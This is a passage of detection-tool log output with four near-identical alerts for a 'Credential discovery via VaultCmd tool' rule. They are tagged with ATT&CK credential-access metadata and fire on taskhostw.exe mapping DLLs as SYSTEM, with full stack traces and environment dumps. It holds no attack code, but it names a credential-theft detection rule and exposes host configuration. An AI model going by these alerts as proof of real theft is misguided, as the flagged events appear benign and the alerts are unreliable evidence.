+time=2025-11-03T22:58:43+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0x7ffb77ea3734 C:\Windows\System32\ntdll.dll!ZwMapViewOfSection|0x7ffb77dad9eb C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77dad42e C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77db24cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffb77db00ac C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77dafcda C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77d8a510 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffb77d8a190 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffb77d54fb0 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffb7506dd0f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffb541cbb97 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541cba74 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541cc754 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541b1d95 C:\Windows\System32\dcntel.dll!?|0x7ffb541b808c C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb54969e74 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a097 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968991 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968533 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54967d39 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968a8f C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549687fe C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a68c C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54960ee1 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54965ae0 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549616ee C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54963dd9 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54d1af22 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d18027 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d133cc C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d13232 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d16df7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0610f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 391481 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 6 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.272 +0100 CET + Params: file_key➜ ffff808cc2aed700, file_path➜ , offset➜ 12288, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb6f750000, view_size➜ 741376 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006 + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T22:58:43+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1256899 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c13107d2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c190c048 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff802c190bcbb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff802c190309f C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x5c4f|0xfffff802c18fce35 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff802c18fc40d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea3734 C:\Windows\System32\ntdll.dll!ZwMapViewOfSection|0x7ffb77dad9eb C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77dad42e C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77db24cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffb77db00ac C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77dafcda C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77d8a510 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffb77d8a190 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffb77d54fb0 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffb7506dd0f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffb541cbb97 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541cba74 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541cc754 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541b1d95 C:\Windows\System32\dcntel.dll!?|0x7ffb541b808c C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb54969e74 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a097 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968991 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968533 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54967d39 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968a8f C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549687fe C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a68c C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54960ee1 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54965ae0 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549616ee C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54963dd9 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54d1af22 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d18027 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d133cc C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d13232 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d16df7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0610f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 391494 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 7 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.2735162 +0100 CET + Params: file_key➜ ffff808cc2aed700, file_path➜ , offset➜ 12288, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb6f750000, view_size➜ 741376 + Metadata: rule.name: Credential discovery via VaultCmd tool, subtechnique.id: T1555.004, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T22:58:43+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1256899 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c13111a6 C:\WINDOWS\system32\ntoskrnl.exe!PsGetThreadServerSilo+0x576|0xfffff802544e6d24 C:\WINDOWS\System32\drivers\fileinfo.sys!?|0xfffff80252c382cf C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x12df|0xfffff80252c379b0 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x9c0|0xfffff80252ca7d00 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltAllocateFileLock+0x1c30|0xfffff802c135d3ed C:\WINDOWS\system32\ntoskrnl.exe!IofCallDriver+0xcd|0xfffff802c185f8d5 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x44a5|0xfffff802c185d800 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x23d0|0xfffff802c185b631 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x201|0xfffff802c18ef86f C:\WINDOWS\system32\ntoskrnl.exe!NtCreateFile+0x13cf|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea39d4 C:\Windows\System32\ntdll.dll!ZwQueryAttributesFile|0x7ffb77db0ee3 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffb77db0bb0 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffb77db0659 C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77daff81 C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77dafcda C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77d8a510 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffb77d8ab06 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffb77d540dd C:\Windows\System32\ntdll.dll!RtlReleaseSRWLockExclusive|0x7ffb77d47fc7 C:\Windows\System32\ntdll.dll!LdrGetProcedureAddressForCaller|0x7ffb750807f2 C:\Windows\System32\KernelBase.dll!GetProcAddress|0x7ffb541cbbc5 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541cba74 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541cc754 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541b1d95 C:\Windows\System32\dcntel.dll!?|0x7ffb541b808c C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb54969e74 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a097 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968991 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968533 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54967d39 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968a8f C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549687fe C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a68c C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54960ee1 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54965ae0 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549616ee C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54963dd9 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54d1af22 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d18027 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d133cc C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d13232 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d16df7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0610f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 391506 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 7 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.2748286 +0100 CET + Params: file_key➜ ffff808cc2aed700, file_path➜ , offset➜ 12288, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb6f750000, view_size➜ 741376 + Metadata: subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, rule.name: Credential discovery via VaultCmd tool, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.name: Credentials from Password Stores + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T22:58:43+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1256899 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c13111a6 C:\WINDOWS\system32\ntoskrnl.exe!PsGetThreadServerSilo+0x576|0xfffff802544e6d24 C:\WINDOWS\System32\drivers\fileinfo.sys!?|0xfffff80252c382cf C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x12df|0xfffff80252c379b0 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x9c0|0xfffff80252ca7d00 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltAllocateFileLock+0x1c30|0xfffff802c135d3ed C:\WINDOWS\system32\ntoskrnl.exe!IofCallDriver+0xcd|0xfffff802c185f8d5 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x44a5|0xfffff802c185d800 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x23d0|0xfffff802c185b631 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x201|0xfffff802c18ee9aa C:\WINDOWS\system32\ntoskrnl.exe!NtCreateFile+0x50a|0xfffff802c18ee488 C:\WINDOWS\system32\ntoskrnl.exe!NtOpenFile+0x58|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea3894 C:\Windows\System32\ntdll.dll!ZwOpenFile|0x7ffb77db2377 C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffb77db00ac C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77dafcda C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77d8a510 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffb77d8ab06 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffb77d540dd C:\Windows\System32\ntdll.dll!RtlReleaseSRWLockExclusive|0x7ffb77d47fc7 C:\Windows\System32\ntdll.dll!LdrGetProcedureAddressForCaller|0x7ffb750807f2 C:\Windows\System32\KernelBase.dll!GetProcAddress|0x7ffb541cbbc5 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541cba74 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541cc754 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541b1d95 C:\Windows\System32\dcntel.dll!?|0x7ffb541b808c C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb54969e74 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a097 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968991 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968533 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54967d39 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968a8f C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549687fe C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a68c C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54960ee1 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54965ae0 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549616ee C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54963dd9 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54d1af22 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d18027 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d133cc C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d13232 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d16df7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0610f 